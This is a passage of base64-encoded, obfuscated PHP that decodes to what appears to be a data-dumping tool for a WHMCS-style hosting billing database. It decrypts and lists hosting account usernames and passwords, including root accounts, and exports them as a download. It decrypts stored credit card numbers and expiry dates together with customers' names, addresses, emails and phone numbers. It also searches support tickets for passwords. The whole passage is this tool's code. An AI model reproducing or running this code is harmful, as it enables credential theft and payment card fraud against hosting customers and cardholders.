IHVzZXJuYW1lID0gJ0FkbWluaXN0cmF0b3InIG9yICB1c2VybmFtZSA9ICdhZG1pbmlzdHJhdG9y JyBvcmRlciBieSBkb21haW5zdGF0dXMiKTsKd2hpbGUoJHNxZ2Nocnh3bD1teXNxbF9mZXRjaF9h cnJheSgkeyRodmxla3NraHdqaX0pKXskdnRrcmVpbXB6amY9InRleHRyIjsKJGtrZHZrcGVzeT0i dGV4dHIiOwokaXh1Z2hmZG91PSJ2IjsKJGhleHN5b29scz0idiI7CiR7JHZ0a3JlaW1wempmfT0k a2tkdmtwZXN5LiJcclxuRG9tYWluICIuJGhleHN5b29sc1siZG9tYWluIl0uIlxyXG5JUCAiLiRp eHVnaGZkb3VbImRlZGljYXRlZGlwIl0uIlxyXG5Vc2VybmFtZSAiLiRzcWdjaHJ4d2xbInVzZXJu YW1lIl0uIlxyXG5QYXNzd29yZCAiLmRlY3J5cHQoJHNxZ2Nocnh3bFsicGFzc3dvcmQiXSwkZGF0 enNibGh6aGYpLiJcclxuRG9tYWluc3RhdHVzIi4kc3FnY2hyeHdsWyJkb21haW5zdGF0dXMiXS4i XHJcbiI7Cn0keHBnY3BpY2J2az0keyRyYnV2ZnRudnh9LiJcclxuIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyBDbGllbnQgUjAwdHMgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXHJcbiI7CkBv Yl9lbmRfY2xlYW4oKTsKaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJHhwZ2NwaWNi dmspKTsKaGVhZGVyKCJDb250ZW50LXR5cGU6IHRleHQvcGxhaW4iKTsKaGVhZGVyKCJDb250ZW50 LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLiRfU0VSVkVSWyJIVFRQX0hPU1Qi XS4iLWNsaWVudF9SMDB0LnR4dCIpOwplY2hvKCR2aGN4bHR1bm4pOwp9YnJlYWs7CmNhc2UgNDok YWtteHhlPSRfR0VUWyJxcSJdOwokYmZocWxvZHFjaT1zdHJfcmVwbGFjZSgiICIsIiUiLCRfUE9T VFsicSJdKTsKaWYoJGJ4aGhndmZvd2NlPD4iIikkeyRjbWNoa3ZwZnd9PSR3Ym5ibHBhdWtxOwpp ZigkYmZocWxvZHFjaT09IiIpJGJmaHFsb2RxY2k9IiUiOwppZigkeyRrdXNvZ3pxYnNufT09IiIp JGFrbXh4ZT0kem9taHZjaXZpdTsKJGdjeHV5cGxiaWx2eT1teXNxbF9xdWVyeSgiU0VMRUNUICog RlJPTSB0Ymxob3N0aW5nIG9yZGVyIGJ5IGRvbWFpbnN0YXR1cyBMSU1JVCAgMCw1Iik7CmlmKCFp c19hcnJheShteXNxbF9mZXRjaF9hcnJheSgkYXB3aW91Z3lpcWtoKSkpe2VjaG8iPGNlbnRlcj48 aDE+Tm90aGluZyBGb3VuZCAhPC9oMT48L2NlbnRlcj4iOwp9ZWxzZXskcW52a3ZkcGRldD0icSI7 CiR2amxua3M9InEiOwokd2x3eWNibz0icSI7CiRrdnRoY2tlbz0icXVlcnkiOwokeWZidGRhcG9h aD0icSI7CmVjaG8iPGNlbnRlcj48aDE+Q2xpZW50cyBIb3N0aW5nIEFjY291bnRzPC9oMT4gIi4i PGJyPjxmb3JtIGFjdGlvbj1cIj9wPTRcIiBuYW1lPVwiZm9ybXdcIiBtZXRob2Q9XCJwb3N0XCI+ XG5cbjxpbnB1dCBuYW1lPVwiZXhwb3J0XCIgdHlwZT1cImhpZGRlblwiIHZhbHVlPVwiMVwiPlxu PGNlbnRlcj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXQyXCIgY2xhc3M9XCJi dXR0b25zXCIgdmFsdWU9XCJbU2F2ZSB0byBUWFQgZmlsZSBdXCIgLz48L2Zvcm0+PC9jZW50ZXI+ Ii4iPGJyPiI7CmVjaG8oIjxjZW50ZXI+PEZPUk0gYWN0aW9uPVwiP3A9NFwiICBtZXRob2Q9XCJw b3N0XCI+XG5cbjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJxXCIgdmFsdWU9XCIiLiRiZmhx bG9kcWNpLiJcIj5cbjxicj5cbjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT1cInN1Ym1pdFwiIHZh bHVlPVwiU3VibWl0XCIgbmFtZT1cIlN1Ym1pdFwiPlxuPC9mb3JtPiIpOwokcHNmaXByanJ4bW49 InEiOwokbHFmeGdoZ21zPSJwYWdlIjsKJHB3aWhlcnd2amV4bj0icXVlcnkiOwokaXRraXdqbnlj ZT0ic3RhcnRfZnJvbSI7CiRqc21qbGRucT0icSI7CiRla3Rzb2diZ3JobD0icSI7CiR1aHpqa2J2 bXA9InEiOwokaG9taXZkenNuZWM9InBhZ2UiOwppZihpc3NldCgkX0dFVFsicGFnZSJdKSl7JGNw aGt5aXR5a2Rndj0icGFnZSI7CiR7JGNwaGt5aXR5a2Rndn09aW50dmFsKCRfR0VUWyJwYWdlIl0p Owp9ZWxzZXskbmttcWViZz0icGFnZSI7CiR7JG5rbXFlYmd9PTE7Cn0kaXRraXdqbnljZT0oJGlr bXVvamYtMSkqMTAwOwokamNqdnJxZmR3PSJ0b3RhbF9yZWNvcmRzIjsKJHZzcmJ3cnFtZ3pjPSJw YWdlIjsKJGV1ZGZzeGN2dD0icXVlcnkiOwokbHZxbW92eXM9InEiOwoka3Z0aGNrZW89bXlzcWxf cXVlcnkoIlNFTEVDVCAqIEZST00gdGJsaG9zdGluZyB3aGVyZSBkZWRpY2F0ZWRpcCBMSUtFICcl Ii4keyRsdnFtb3Z5c30uIiUnIG9yIG5zMSBMSUtFICclIi4keWZidGRhcG9haC4iJScgb3IgbnMy IExJS0UgJyUiLiRiZmhxbG9kcWNpLiIlJyBvciB1c2VybmFtZSAgTElLRSAnJSIuJGpzbWpsZG5x LiIlJyBvciBkb21haW4gTElLRSAnJSIuJGJmaHFsb2RxY2kuIiUnIG9yZGVyIGJ5IGRvbWFpbnN0 YXR1cyBMSU1JVCAkc3RhcnRfZnJvbSAsIDEwMCAiKTsKJHskamNqdnJxZmR3fT1teXNxbF9udW1f cm93cyhteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0Ymxob3N0aW5nIHdoZXJlIGRlZGljYXRl ZGlwIExJS0UgJyUiLiR7JHBzZmlwcmpyeG1ufS4iJScgb3IgbnMxIExJS0UgJyUiLiRla3Rzb2di Z3JobC4iJScgb3IgbnMyIExJS0UgJyUiLiR7JHZqbG5rc30uIiUnIG9yIHVzZXJuYW1lICBMSUtF ICclIi4kYmZocWxvZHFjaS4iJScgb3IgZG9tYWluIExJS0UgJyUiLiRiZmhxbG9kcWNpLiIlJyBv cmRlciBieSBkb21haW5zdGF0dXMiKSk7CmVjaG8oIjxoMz5Ub3RhbCBSZWNvcmRzICIuJG1vdWt4 ZmZjcy4iPGJyPiIpOwokeXhxbXVmeG5xY3M9Y2VpbCgkbW91a3hmZmNzLzEwMCk7CmVjaG8oIjxi cj48dGFibGUgYm9yZGVyPScwJz48dHI+Iik7CmVjaG8oIjx0ZD5QYWdlICIuJHskdnNyYndycW1n emN9LiIgT2YgIi4keXhxbXVmeG5xY3MuIjwvdGQ+Iik7CiR6ZHVrYnk9InYiOwppZigkaWttdW9q Zj4xKWVjaG8iPHRkPjxhIGhyZWY9Jz9wPTQmcXE9Ii4kYWtteHhlLiImcGFnZT0iLigkbHFmeGdo Z21zLTEpLiInPkJhY2s8L2E+Jm5ic3A8L3RkPiI7CmVjaG8iPHRkPjxhIGhyZWY9Jz9wPTQmcXE9 Ii4kYWtteHhlLiImcGFnZT0iLiR5eHFtdWZ4bnFjcy4iJz5MYXRlc3Q8L2E+PC90ZD4iOwppZigk aWttdW9qZjwkeXhxbXVmeG5xY3MpZWNobyI8dGQ+Jm5ic3A8YSBocmVmPSc/cD00JnFxPSIuJGFr bXh4ZS4iJnBhZ2U9Ii4oJHskaG9taXZkenNuZWN9KzEpLiInPk5leHQ8L2E+Jm5ic3A8L3RkPiI7 CmZvcigkaGl1ZmNsbnVieG49MTsKJGhpdWZjbG51YnhuPD0keXhxbXVmeG5xY3M7CiRoaXVmY2xu dWJ4biAgKXskZWJ3d21pZnB3cz0icGFnZSI7CmlmKCRoaXVmY2xudWJ4bj09JGVid3dtaWZwd3Mp eyR5ZmJjb3R2PSJxcSI7CmVjaG8iPHRkPiZuYnNwPGEgaHJlZj0nP3A9NCZxcT0iLiR7JHlmYmNv dHZ9LiImcGFnZT0iLiRoaXVmY2xudWJ4bi4iJz4oIi4kaGl1ZmNsbnVieG4uIik8L2E+Jm5ic3A8 L3RkPiI7Cn1lbHNleyRicHZtb3FuaT0iaSI7CiRzZG5jdWY9ImkiOwplY2hvIjx0ZD4mbmJzcDxh IGhyZWY9Jz9wPTQmcXE9Ii4kYWtteHhlLiImcGFnZT0iLiR7JGJwdm1vcW5pfS4iJz4iLiRzZG5j dWYuIjwvYT4mbmJzcDwvdGQ+IjsKfX1lY2hvKCI8L3RyPjwvdGFibGU+Iik7CmlmKCFpc19hcnJh eShteXNxbF9mZXRjaF9hcnJheSgkYXB3aW91Z3lpcWtoKSkpe2VjaG8iTm90aGluZyBGb3VuZCAh IjsKZXhpdDsKfWVjaG8iPGJyPjx0YWJsZSBib3JkZXI9JzAnIGNlbGxwYWRkaW5nPSc1JyBhbGln bj0nY2VudGVyJz5cbiAgICA8dHI+PHRkPmRvbWFpbjwvdGQ+PHRkPkRlZGljYXRlZGlwPC90ZD48 dGQ+VXNlcjwvdGQ+PHRkPlBhc3M8L3RkPjx0ZD5kb21haW5zdGF0dXM8L3RkPjx0ZD5DbGllbnQg SUQ8L3RkPjwvdHI+IjsKJHskZXVkZnN4Y3Z0fT1teXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0 Ymxob3N0aW5nIHdoZXJlIGRlZGljYXRlZGlwIExJS0UgJyUiLiRiZmhxbG9kcWNpLiIlJyBvciBu czEgTElLRSAnJSIuJHdsd3ljYm8uIiUnIG9yIG5zMiBMSUtFICclIi4kcW52a3ZkcGRldC4iJScg b3IgdXNlcm5hbWUgIExJS0UgJyUiLiRiZmhxbG9kcWNpLiIlJyBvciBkb21haW4gTElLRSAnJSIu JHVoemprYnZtcC4iJScgb3JkZXIgYnkgZG9tYWluc3RhdHVzIExJTUlUICRzdGFydF9mcm9tICwg MTAwICIpOwp3aGlsZSgkemR1a2J5PW15c3FsX2ZldGNoX2FycmF5KCRwd2loZXJ3dmpleG4pKXsk eGx2aHRrbz0idiI7CiRndmh0aG95aWc9InYiOwokY2dhc3hoc2Jlbz0idiI7CiRzaW1qeHJ3bT0i diI7CmVjaG8iPHRyPjx0ZD4iLiRzcWdjaHJ4d2xbImRvbWFpbiJdLiI8L3RkPjx0ZD4iLiR7JHNp bWp4cndtfVsiZGVkaWNhdGVkaXAiXS4iPC90ZD48dGQ+Ii4keyRndmh0aG95aWd9WyJ1c2VybmFt ZSJdLiI8L3RkPjx0ZD4iLmRlY3J5cHQoJGNnYXN4aHNiZW9bInBhc3N3b3JkIl0sJGRhdHpzYmxo emhmKS4iPC90ZD48dGQ+Ii4keGx2aHRrb1siZG9tYWluc3RhdHVzIl0uIjwvdGQ+PHRkPiA8YSBo cmVmPSc/cD0xMiZpZD0iLiRzcWdjaHJ4d2xbInVzZXJpZCJdLiInPiIuJHNxZ2Nocnh3bFsidXNl cmlkIl0uIjwvYT48L3RkPjwvdHI+IjsKfWVjaG8iPC90YWJsZT4iOwp9aWYoJF9QT1NUWyJleHBv cnQiXT09IjEiKXskYWxpc3Zsb3Y9JGFsaXN2bG92LiJcclxuIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyBDbGllbnQgSE9TVCAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcclxuIjsKJHJqaWJ3 eHNuanRjej0idGV4dHIiOwokb2Z4bmpybHdtZHU9InYiOwokYXB3aW91Z3lpcWtoPW15c3FsX3F1 ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibGhvc3Rpbmcgd2hlcmUgZG9tYWluc3RhdHVzPSdBY3RpdmUn Iik7CiRydnFyc2tvPSJ0ZXh0ciI7CiRsc25nbnRud3M9InF1ZXJ5IjsKd2hpbGUoJG9meG5qcmx3 bWR1PW15c3FsX2ZldGNoX2FycmF5KCR7JGxzbmdudG53c30pKXska3BzYXpkPSJ2IjsKJGZqdmNm b3llPSJ2IjsKaWYoKCRrcHNhemRbInVzZXJuYW1lIl0pYW5kKCRmanZjZm95ZVsicGFzc3dvcmQi XSkpeyRzbGRxbmlvb21jaT0idGV4dHIiOwokdnJrc21xYmZ5YW93PSJ2IjsKJHlseWtra3NlPSJ2 IjsKJHF5eXRhY2RwaWk9InYiOwokeyRzbGRxbmlvb21jaX09JHhwZ2NwaWNidmsuIlxyXG5Eb21h aW4gIi4keyR5bHlra2tzZX1bImRvbWFpbiJdLiJcclxuSVAgIi4kdnJrc21xYmZ5YW93WyJkZWRp Y2F0ZWRpcCJdLiJcclxuVXNlcm5hbWUgIi4kc3FnY2hyeHdsWyJ1c2VybmFtZSJdLiJcclxuUGFz c3dvcmQgIi5kZWNyeXB0KCR7JHF5eXRhY2RwaWl9WyJwYXNzd29yZCJdLCRkYXR6c2JsaHpoZiku IlxyXG5Eb21haW5zdGF0dXMgIi4kc3FnY2hyeHdsWyJkb21haW5zdGF0dXMiXS4iXHJcbiI7Cn19 JHJqaWJ3eHNuanRjej0keyRydnFyc2tvfS4iXHJcbiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMg Q2xpZW50IEhPU1QgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXHJcbiI7CkBvYl9lbmRfY2xl YW4oKTsKaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJHhwZ2NwaWNidmspKTsKaGVh ZGVyKCJDb250ZW50LXR5cGU6IHRleHQvcGxhaW4iKTsKaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0 aW9uOiBhdHRhY2htZW50OwogZmlsZW5hbWU9Ii4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uIi1jbGll bnRfaG9zdC50eHQiKTsKZWNobygkeHBnY3BpY2J2ayk7Cn1icmVhazsKY2FzZSA1OiR7JGl4ZmZp b2dqamVpfT1teXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgdGJsY2xpZW50c2AgV0hFUkUgY2Fy ZHR5cGUgPD4gJycgb3JkZXIgYnkgaXNzdWVudW1iZXIgZGVzYyIpOwppZighaXNfYXJyYXkobXlz cWxfZmV0Y2hfYXJyYXkoJHskYnBxYnhyd299KSkpe2VjaG8iPGNlbnRlcj48aDE+Tm90aGluZyBG b3VuZCAhPC9oMT48L2NlbnRlcj4iOwp9ZWxzZXskcnlza3locT0icXVlcnkiOwokcnlza3locT1t eXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgdGJsY2xpZW50c2AgV0hFUkUgY2FyZHR5cGUgPD4g Jycgb3JkZXIgYnkgaXNzdWVudW1iZXIgZGVzYyIpOwplY2hvKCI8dGFibGUgYm9yZGVyPTE+PHRy Pjx0ZD5jYXJkdHlwZTwvdGQ+PHRkPmNhcmRudW08L3RkPjx0ZD5leHBkYXRlPC90ZD48dGQ+aXNz dWVudW1iZXI8L3RkPjx0ZD5Db3VudHJ5PC90ZD48dGQ+Rmlyc3RuYW1lPC90ZD48dGQ+TGFzdG5h bWU8L3RkPjx0ZD5BZGRyZXNzMTwvdGQ+PHRkPkNpdHk8L3RkPjx0ZD5TdGF0ZTwvdGQ+PHRkPlBv c3Rjb2RlPC90ZD48dGQ+cGhvbmVudW1iZXI8L3RkPjx0ZD5FbWFpbDwvdGQ+PC90cj4iKTsKJGNy bnRwanZzPSJ2IjsKJGx1aHFxbXg9InF1ZXJ5IjsKd2hpbGUoJHskY3JudHBqdnN9PW15c3FsX2Zl dGNoX2FycmF5KCR7JGx1aHFxbXh9KSl7JG9scmVwamtsZHFhPSJmaXJzdG5hbWUiOwokdGZmeHVv PSJ2IjsKJHhibWloZT0idjIiOwokaWN4b2hwZ2N0PSJwaG9uZW51bWJlciI7CiRybWxkdHNreGY9 bWQ1KCRkYXR6c2JsaHpoZi4kdGZmeHVvWyIwIl0pOwokbnJhY2llZz0icyI7CiR5em9sbHB2ZHh4 Zj0iZW1haWwiOwokanhzaG92aXhkdWs9ImNpdHkiOwokbHRpcnBvenFiaD0icG9zdGNvZGUiOwok andkcW5jdG09ImNvdW50cnkiOwokbnJhY2llZz1teXNxbF9xdWVyeSgic2VsZWN0IGNhcmR0eXBl LEFFU19ERUNSWVBUKGNhcmRudW0sJ3skY2NoYXNofScpIGFzIGNhcmRudW0sQUVTX0RFQ1JZUFQo ZXhwZGF0ZSwneyRjY2hhc2h9JykgYXMgZXhwZGF0ZSxBRVNfREVDUllQVChpc3N1ZW51bWJlciwn eyRjY2hhc2h9JykgYXMgaXNzdWVudW1iZXIsQUVTX0RFQ1JZUFQoc3RhcnRkYXRlLCd7JGNjaGFz aH0nKSBhcyBzdGFydGRhdGUsY291bnRyeSxlbWFpbCxmaXJzdG5hbWUsbGFzdG5hbWUsYWRkcmVz czEsY2l0eSxzdGF0ZSxwb3N0Y29kZSxwaG9uZW51bWJlciAgRlJPTSBgdGJsY2xpZW50c2Agd2hl cmUgaWQ9JyIuJHNxZ2Nocnh3bFsiMCJdLiInICBvcmRlciBieSBjb3VudHJ5Iik7CiRodXlqcXFm dXE9InYiOwokeyRqd2RxbmN0bX09JHNxZ2Nocnh3bFsiY291bnRyeSJdOwokeXpvbGxwdmR4eGY9 JHNxZ2Nocnh3bFsiZW1haWwiXTsKJHV4emZlZz0idiI7CiRvbHJlcGprbGRxYT0keyRodXlqcXFm dXF9WyJmaXJzdG5hbWUiXTsKJGZ1d3RjZHl5Z2I9JHNxZ2Nocnh3bFsibGFzdG5hbWUiXTsKJHFn cXhqdnluPSJ2MiI7CiRsenltaGZjamg9JHNxZ2Nocnh3bFsiYWRkcmVzczEiXTsKJGNqamJjZGx3 dXc9InN0YXRlIjsKJGp4c2hvdml4ZHVrPSRzcWdjaHJ4d2xbImNpdHkiXTsKJGNqamJjZGx3dXc9 JHNxZ2Nocnh3bFsic3RhdGUiXTsKJHskbHRpcnBvenFiaH09JHNxZ2Nocnh3bFsicG9zdGNvZGUi XTsKJGljeG9ocGdjdD0kdXh6ZmVnWyJwaG9uZW51bWJlciJdOwokcW5nYW51aGZ3dHloPW15c3Fs X2ZldGNoX2FycmF5KCRob2xwcGR6eGgpOwplY2hvKCI8dHI+PHRkPiIuJHFuZ2FudWhmd3R5aFsw XS4iPC90ZD48dGQ+Ii4kcW5nYW51aGZ3dHloWzFdLiI8L3RkPjx0ZD4iLiR7JHhibWloZX1bMl0u IjwvdGQ+PHRkPiIuJHFncXhqdnluWzRdLiI8L3RkPjx0ZD4kY291bnRyeTwvdGQ+PHRkPiAkZmly c3RuYW1lPC90ZD48dGQ+JGxhc3RuYW1lPC90ZD48dGQ+JGFkZHJlc3MxPC90ZD48dGQ+JGNpdHk8 L3RkPjx0ZD4kc3RhdGU8L3RkPjx0ZD4kcG9zdGNvZGU8L3RkPjx0ZD4kcGhvbmVudW1iZXI8L3Rk Pjx0ZD4kZW1haWw8L3RkPjwvdHI+Iik7Cn1lY2hvKCI8L3RhYmxlPiIpOwp9YnJlYWs7CmNhc2Ug NjE6JGFrbXh4ZT0kX0dFVFsicXEiXTsKJHskZ3JhdGxidmN1ZGp9PXN0cl9yZXBsYWNlKCIgIiwi JSIsJF9QT1NUWyJxIl0pOwppZigkYWtteHhlPD4iIikkeyR6dGptYWthfT0keyRraHVtaXJzfTsK aWYoJHskZHlzcXBvan09PSIiKSRiZmhxbG9kcWNpPSIlIjsKaWYoJGFrbXh4ZT09IiIpJG1vdm14 cm9kbm09JGJmaHFsb2RxY2k7CmVjaG8oIjxjZW50ZXI+PGJyPjxicj48YnI+PEZPUk0gYWN0aW9u PVwiP3A9NjFcIiAgbWV0aG9kPVwicG9zdFwiPlxuPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1c InFcIiB2YWx1ZT1cIiIuJHZqa25qYnYuIlwiPlxuPGJyPlxuPElOUFVUIGNsYXNzPXN1Ym1pdCB0 eXBlPVwic3VibWl0XCIgdmFsdWU9XCJTdWJtaXRcIiBuYW1lPVwiU3VibWl0XCI+IDxicj5leDog cm9vdCVwYXNzIG9yICByb290IG9yIDIwODYgXG4iKTsKaWYoaXNzZXQoJF9HRVRbInBhZ2UiXSkp eyRpa211b2pmPWludHZhbCgkX0dFVFsicGFnZSJdKTsKfWVsc2V7JGpodmVleHg9InBhZ2UiOwok amh2ZWV4eD0xOwp9JHd3ZXBid3g9KCRpa211b2pmLTEpKjEwMDsKJGdnemtpdWo9bXlzcWxfcXVl cnkoIlNFTEVDVCAqIEZST00gYHRibHRpY2tldHNgIHdoZXJlIG1lc3NhZ2UgTElLRSAnJSIuJGJm aHFsb2RxY2kuIiUnIG9yZGVyIGJ5IGRhdGUgZGVzYyBMSU1JVCAkc3RhcnRfZnJvbSAsIDEwMCAi KTsKJG1vdWt4ZmZjcz1teXNxbF9udW1fcm93cyhteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBg dGJsdGlja2V0c2Agd2hlcmUgbWVzc2FnZSBMSUtFICclIi4keyRpY2Rob2FpbHd9LiIlJyBvcmRl ciBieSBkYXRlIGRlc2MiKSk7CmVjaG8oIjxoMz5Ub3RhbCBSZWNvcmRzICIuJGRzZWVueXhlLiI8 YnI+Iik7CiR7JGtybmx2eHdnY3VhfT1jZWlsKCR7JGlwbHlrbnlxeGV5fS8xMDApOwplY2hvKCI8 YnI+PHRhYmxlIGJvcmRlcj0nMCc+PHRyPiIpOwplY2hvKCI8dGQ+UGFnZSAiLiRpa211b2pmLiIg T2YgIi4keXhxbXVmeG5xY3MuIjwvdGQ+Iik7CmlmKCRpa211b2pmPjEpZWNobyI8dGQ+PGEgaHJl Zj0nP3A9NjEmcXE9Ii4kYWtteHhlLiImcGFnZT0iLigkeyRqdXFvdnRyfS0xKS4iJz5CYWNrPC9h PiZuYnNwPC90ZD4iOwplY2hvIjx0ZD48YSBocmVmPSc/cD02MSZxcT0iLiR7JHBvd2dqaXFzfS4i JnBhZ2U9Ii4keXhxbXVmeG5xY3MuIic+TGF0ZXN0PC9hPjwvdGQ+IjsKaWYoJGVtbGVlZGU8JHsk bGltdHZ5aHl9KWVjaG8iPHRkPiZuYnNwPGEgaHJlZj0nP3A9NjEmcXE9Ii4kYWtteHhlLiImcGFn ZT0iLigkeG9mcHBlcHZ0KzEpLiInPk5leHQ8L2E+Jm5ic3A8L3RkPiI7CmZvcigkZXJ3dHloenU9 MTsKJGhpdWZjbG51YnhuPD0keXhxbXVmeG5xY3M7CiRoaXVmY2xudWJ4biAgKXskdXRwc21obWdz Yz0icGFnZSI7CiRxbWd2YnF5a3Y9ImkiOwppZigkeyRxbWd2YnF5a3Z9PT0keyR1dHBzbWhtZ3Nj fSl7JHF6eG91eXdidHM9ImkiOwokZmRhdG9obHBncXc9ImkiOwokcGFqY2pzY2ZzbWZiPSJxcSI7 CmVjaG8iPHRkPiZuYnNwPGEgaHJlZj0nP3A9NjEmcXE9Ii4keyRwYWpjanNjZnNtZmJ9LiImcGFn ZT0iLiR7JHF6eG91eXdidHN9LiInPigiLiRmZGF0b2hscGdxdy4iKTwvYT4mbmJzcDwvdGQ+IjsK fWVsc2V7JHF5cGZtcGVqcGI9ImkiOwokaW5kcHR1ZHl2YT0iaSI7CiRuZ2toZXRkPSJxcSI7CmVj aG8iPHRkPiZuYnNwPGEgaHJlZj0nP3A9NjEmcXE9Ii4kbmdraGV0ZC4iJnBhZ2U9Ii4kcXlwZm1w ZWpwYi4iJz4iLiRpbmRwdHVkeXZhLiI8L2E+Jm5ic3A8L3RkPiI7Cn19ZWNobygiPC90cj48L3Rh YmxlPiIpOwp3aGlsZSgkc3FnY2hyeHdsPW15c3FsX2ZldGNoX2FycmF5KCR7JHV1ZG9lbHV9KSl7 JGpreXdscXlrdm5tPSJ2IjsKJHh5a3hoY3JzY2xnPSJ2IjsKJGNkZ3RlZndqYmV0dj0idiI7CmVj aG8oIjxjZW50ZXI+PGhyPjx0YWJsZSB3aWR0aD05MCUgYm9yZGVyPTE+Iik7CmVjaG8oIjx0cj48 dGQ+Ii4keyRjZGd0ZWZ3amJldHZ9WyJ0aXRsZSJdLiJbIi4keyR4eWt4aGNyc2NsZ31bImRhdGUi XS4iXTwvdGQ+PC90cj48dHI+PHRkPiIuJGpreXdscXlrdm5tWyJtZXNzYWdlIl0uIjwvdGQ+PC90 cj4iKTsKZWNobygiPC90YWJsZT4iKTsKfWJyZWFrOwpjYXNlIDYyOiR7JGd1bnNubHdmcX09JF9H RVRbInFxIl07CiRiZmhxbG9kcWNpPXN0cl9yZXBsYWNlKCIgIiwiJSIsJF9QT1NUWyJxIl0pOwpp ZigkYWtteHhlPD4iIikkeyRkeG11cWh3cWV0bnN9PSRha214eGU7CmlmKCR3aHZjbGthdW89PSIi KSRiZmhxbG9kcWNpPSIlIjsKaWYoJGxwbHVuYz09IiIpJHZoZnNjZWJpbGo9JHpqbnd2ZmR4bjsK ZWNobygiPGNlbnRlcj48YnI+PGJyPjxicj48Rk9STSBhY3Rpb249XCI/cD02MlwiICBtZXRob2Q9 XCJwb3N0XCI+XG48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwicVwiIHZhbHVlPVwiIi4kZXN3 a2J3LiJcIj5cbjxicj5cbjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVl PVwiU3VibWl0XCIgbmFtZT1cIlN1Ym1pdFwiPlxuIik7CmlmKGlzc2V0KCRfR0VUWyJwYWdlIl0p KXskb3BteWF2eGRtaGc9InBhZ2UiOwokb3BteWF2eGRtaGc9aW50dmFsKCRfR0VUWyJwYWdlIl0p Owp9ZWxzZXskbWxrbWt4dG11PSJwYWdlIjsKJG1sa21reHRtdT0xOwp9JHd3ZXBid3g9KCRpa211 b2pmLTEpKjEwMDsKJGFwd2lvdWd5aXFraD1teXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgdGJs dGlja2V0cmVwbGllc2Agd2hlcmUgbWVzc2FnZSBMSUtFICclIi4keyRjYWJubGRxcX0uIiUnIG9y ZGVyIGJ5IGRhdGUgZGVzYyBMSU1JVCAkc3RhcnRfZnJvbSAsIDEwMCAiKTsKJHlocmxzcHQ9bXlz cWxfbnVtX3Jvd3MobXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gYHRibHRpY2tldHJlcGxpZXNg IHdoZXJlIG1lc3NhZ2UgTElLRSAnJSIuJHZtdWZteGtpZi4iJScgb3JkZXIgYnkgZGF0ZSBkZXNj IikpOwplY2hvKCI8aDM+VG90YWwgUmVjb3JkcyAiLiR2cHZ1bHBsbC4iPGJyPiIpOwokeyRyYmZu cXVuZWN3dGt9PWNlaWwoJG1vdWt4ZmZjcy8xMDApOwplY2hvKCI8YnI+PHRhYmxlIGJvcmRlcj0n MCc+PHRyPiIpOwplY2hvKCI8dGQ+UGFnZSAiLiRpa211b2pmLiIgT2YgIi4keXhxbXVmeG5xY3Mu IjwvdGQ+Iik7CmlmKCRvaGtnbm12PjEpZWNobyI8dGQ+PGEgaHJlZj0nP3A9NjImcXE9Ii4kd3hs dnNheXZsLiImcGFnZT0iLigkaGZycmlwZXF3LTEpLiInPkJhY2s8L2E+Jm5ic3A8L3RkPiI7CmVj aG8iPHRkPjxhIGhyZWY9Jz9wPTYyJnFxPSIuJHlwaXJucnlncS4iJnBhZ2U9Ii4keXhxbXVmeG5x Y3MuIic+TGF0ZXN0PC9hPjwvdGQ+IjsKaWYoJGlrbXVvamY8JHl4cW11ZnhucWNzKWVjaG8iPHRk PiZuYnNwPGEgaHJlZj0nP3A9NjImcXE9Ii4kYWtteHhlLiImcGFnZT0iLigkeyRmYm1vb3Rmenll ZXB9KzEpLiInPk5leHQ8L2E+Jm5ic3A8L3RkPiI7CmZvcigkaXdna3d6eG9nPTE7CiR7JGhhamVp cn08PSRwZnh0cGZsd2w7CiR2Z21wbXB5cW1vICApeyRqZG91dXZ0dm1vPSJwYWdlIjsKJGpocnZz Z3ltZz0iaSI7CmlmKCRqaHJ2c2d5bWc9PSRqZG91dXZ0dm1vKXskaWNodmhqcD0iaSI7CmVjaG8i PHRkPiZuYnNwPGEgaHJlZj0nP3A9NjImcXE9Ii4kYWtteHhlLiImcGFnZT0iLiRoaXVmY2xudWJ4 bi4iJz4oIi4kaWNodmhqcC4iKTwvYT4mbmJzcDwvdGQ+IjsKfWVsc2V7JHlvc21sc3V4a29xPSJx cSI7CmVjaG8iPHRkPiZuYnNwPGEgaHJlZj0nP3A9NjImcXE9Ii4keyR5b3NtbHN1eGtvcX0uIiZw YWdlPSIuJGhpdWZjbG51YnhuLiInPiIuJGhpdWZjbG51YnhuLiI8L2E+Jm5ic3A8L3RkPiI7Cn19 ZWNobygiPC90cj48L3RhYmxlPiIpOwp3aGlsZSgkc3FnY2hyeHdsPW15c3FsX2ZldGNoX2FycmF5 KCR4dmNpZ213bSkpeyRqaXFycGlmZ3A9InYiOwplY2hvKCI8Y2VudGVyPjxocj48dGFibGUgd2lk dGg9OTAlIGJvcmRlcj0xPiIpOwplY2hvKCI8dHI+PHRkPlsiLiR7JGppcXJwaWZncH1bImRhdGUi XS4iXTwvdGQ+PC90cj48dHI+PHRkPiIuJHNxZ2Nocnh3bFsibWVzc2FnZSJdLiI8L3RkPjwvdHI+ 